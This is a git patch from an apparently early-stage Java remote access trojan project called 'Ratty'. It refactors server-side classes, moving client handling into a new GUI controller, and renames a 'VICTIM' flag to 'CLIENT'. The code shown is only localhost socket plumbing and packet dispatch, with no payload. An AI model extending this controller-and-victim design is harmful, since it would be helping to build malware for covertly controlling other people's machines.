From fd9ec93475678b63862f6b65d7c178c6d2cb42f3 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 26 Jan 2016 21:05:25 +0100 Subject: [PATCH] Major changes Added some server side classes Started to think about GUI --- Ratty/src/de/sogomn/rat/Ratty.java | 12 ++--- .../de/sogomn/rat/server/ActiveServer.java | 49 ++++--------------- .../de/sogomn/rat/server/IServerObserver.java | 11 +++++ .../rat/server/ServerGuiController.java | 41 ++++++++++++++++ 4 files changed, 67 insertions(+), 46 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/server/IServerObserver.java create mode 100644 Ratty/src/de/sogomn/rat/server/ServerGuiController.java diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index ccea262..ccda9a0 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -8,7 +8,7 @@ import de.sogomn.rat.server.ActiveServer; public final class Ratty { - public static final boolean VICTIM = false; + public static final boolean CLIENT = false; private Ratty() { //... @@ -37,14 +37,14 @@ public final class Ratty { } public static void main(final String[] args) { - if (VICTIM) { - connectToHost("localhost", 23456); + if (CLIENT) { + System.out.println("Starting client"); - System.out.println("Client started"); + connectToHost("localhost", 23456); } else { - startServer(23456); + System.out.println("Starting server"); - System.out.println("Server started"); + startServer(23456); } } diff --git a/Ratty/src/de/sogomn/rat/server/ActiveServer.java b/Ratty/src/de/sogomn/rat/server/ActiveServer.java index 04878d4..a84ef04 100644 --- a/Ratty/src/de/sogomn/rat/server/ActiveServer.java +++ b/Ratty/src/de/sogomn/rat/server/ActiveServer.java @@ -1,23 +1,18 @@ package de.sogomn.rat.server; import java.net.Socket; -import java.util.ArrayList; import de.sogomn.engine.net.TCPServer; import de.sogomn.rat.ActiveClient; -import de.sogomn.rat.IClientObserver; -import de.sogomn.rat.packet.IPacket; -public final class ActiveServer extends TCPServer implements IClientObserver { +public final class ActiveServer extends TCPServer { private Thread thread; - private ArrayList clients; + private IServerObserver observer; public ActiveServer(final int port) { super(port); - - clients = new ArrayList(); } private ActiveClient acceptClient() { @@ -41,21 +36,9 @@ public final class ActiveServer extends TCPServer implements IClientObserver { thread = null; } - clients.forEach(client -> { - client.setObserver(null); - client.close(); - }); - clients.clear(); - } - - @Override - public void packetReceived(final ActiveClient client, final IPacket packet) { - packet.execute(); - } - - @Override - public void disconnected(final ActiveClient client) { - removeClient(client); + if (observer != null) { + observer.closed(this); + } } public void start() { @@ -63,8 +46,8 @@ public final class ActiveServer extends TCPServer implements IClientObserver { while (isOpen()) { final ActiveClient client = acceptClient(); - if (client != null) { - addClient(client); + if (observer != null && client != null) { + observer.clientConnected(this, client); } } }; @@ -74,22 +57,8 @@ public final class ActiveServer extends TCPServer implements IClientObserver { thread.start(); } - public void broadcast(final IPacket packet) { - clients.forEach(client -> { - client.sendPacket(packet); - }); - } - - public void addClient(final ActiveClient client) { - client.setObserver(this); - clients.add(client); - client.start(); - } - - public void removeClient(final ActiveClient client) { - client.setObserver(null); - client.close(); - clients.remove(client); + public void setObserver(final IServerObserver observer) { + this.observer = observer; } } diff --git a/Ratty/src/de/sogomn/rat/server/IServerObserver.java b/Ratty/src/de/sogomn/rat/server/IServerObserver.java new file mode 100644 index 0000000..a8fc3e3 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/IServerObserver.java @@ -0,0 +1,11 @@ +package de.sogomn.rat.server; + +import de.sogomn.rat.ActiveClient; + +public interface IServerObserver { + + void clientConnected(final ActiveServer server, final ActiveClient client); + + void closed(final ActiveServer server); + +} diff --git a/Ratty/src/de/sogomn/rat/server/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/ServerGuiController.java new file mode 100644 index 0000000..40a409a --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/ServerGuiController.java @@ -0,0 +1,41 @@ +package de.sogomn.rat.server; + +import java.util.ArrayList; + +import de.sogomn.rat.ActiveClient; +import de.sogomn.rat.IClientObserver; +import de.sogomn.rat.packet.IPacket; + +public final class ServerGuiController implements IServerObserver, IClientObserver { + + private ArrayList clients; + + public ServerGuiController() { + clients = new ArrayList(); + } + + @Override + public void packetReceived(final ActiveClient client, final IPacket packet) { + packet.execute(); + } + + @Override + public void disconnected(final ActiveClient client) { + client.setObserver(null); + client.close(); + clients.remove(client); + } + + @Override + public void clientConnected(final ActiveServer server, final ActiveClient client) { + client.setObserver(this); + clients.add(client); + client.start(); + } + + @Override + public void closed(final ActiveServer server) { + System.out.println("Server closed"); + } + +}